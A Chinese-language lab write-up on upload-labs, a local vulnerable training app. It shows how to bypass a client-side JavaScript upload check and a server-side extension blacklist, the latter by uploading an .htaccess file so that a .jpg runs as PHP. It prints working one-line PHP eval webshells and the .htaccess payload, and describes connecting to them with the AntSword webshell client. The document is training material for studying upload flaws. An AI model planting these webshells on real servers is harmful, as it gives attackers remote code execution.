(1)客户端绕过练习 (2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤

一、实验环境

软件名称版本部署方式IP
upload-labslatestdocker run -d -p 8081:80 –name upload-labs cuer/upload-labs172.31.5.7

二、客户端绕过

2.1 源码分析

浏览器访问 http://172.31.5.7:8081/Pass-01,选择Pass-01

直接上传php后缀的文件a.php会被拒绝

image-20230303173900017

点击右上角显示源码:

image-20230303172622582

分析源码可知,此文件上传类型是通过前端js进行限制,因此可通过禁用浏览器的js来绕过

2.2 禁用浏览器js

google浏览器:设置——隐私与安全性——网站设置——JavaScript——不允许网站使用JavaScript(也可通过添加白名单的方式,不影响浏览器正常使用)

image-20230303175158995

2.3 上传木马

准备一句话木马文件a.php,内容:

<?php eval(@$_GET['a']);?>

刷新后,再次上传a.php文件成功

image-20230303175258809

右键上传的文件获取图片地址:http://172.31.5.7:8081/upload/a.php

浏览器访问 http://172.31.5.7:8081/upload/a.php?a=phpinfo();

成功植入一句话木马:

image-20230303180131696

2.2 蚁剑连接

重新上传一句话木马shell.php,内容:

<?php eval(@$_POST['passwd']);?>

使用蚁剑连接一句话木马(密码为一句话木马内容中的参数passwd)

image-20230303184230888

image-20230303184840264

三、htaccess文件绕过

3.1 漏洞原理

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。上传.htaccess文件,来绕过黑名单。
前提条件
1.mod_rewrite模块开启。
2.AllowOverride All

Upload-labs(Pass-04)源码分析,这个比03增加了黑名单量。但是,中间件为Apache的情况下,黑 名单未校验htaccess文件,导致可上传htaccess文件,绕过黑名单检测。

源码如下:

image-20230303190054200

由于.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个 .htaccess。文件中配置可使得当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。

我们需要先准备好两个文件( .htaccess 和 test.jpg)注意:.htaccess文件名就是 .htaccess ,不能修改为其它名称。该文件在windows如果不能直接修改名称,可打开记事本编辑后,选择另存为(保存类型:所有类型)即可生成。或者参考网上其它方式

  • .htaccess:

    <FilesMatch "test.jpg">
    Sethandler application/x-httpd-php
    </FilesMatch>
    <IfModule mime_module>
    SetHandler application/x-httpd-php
    </IfModule>
    
  • test.jpg

    <?php @eval($_POST["passwd"]);?>
    

3.2 开始绕过

3.2.1 上传.htaccess

image-20230303193644692

3.2.2 上传test.jpg

image-20230303193920785

3.2.3 使用蚁剑进行连接

image-20230303194306654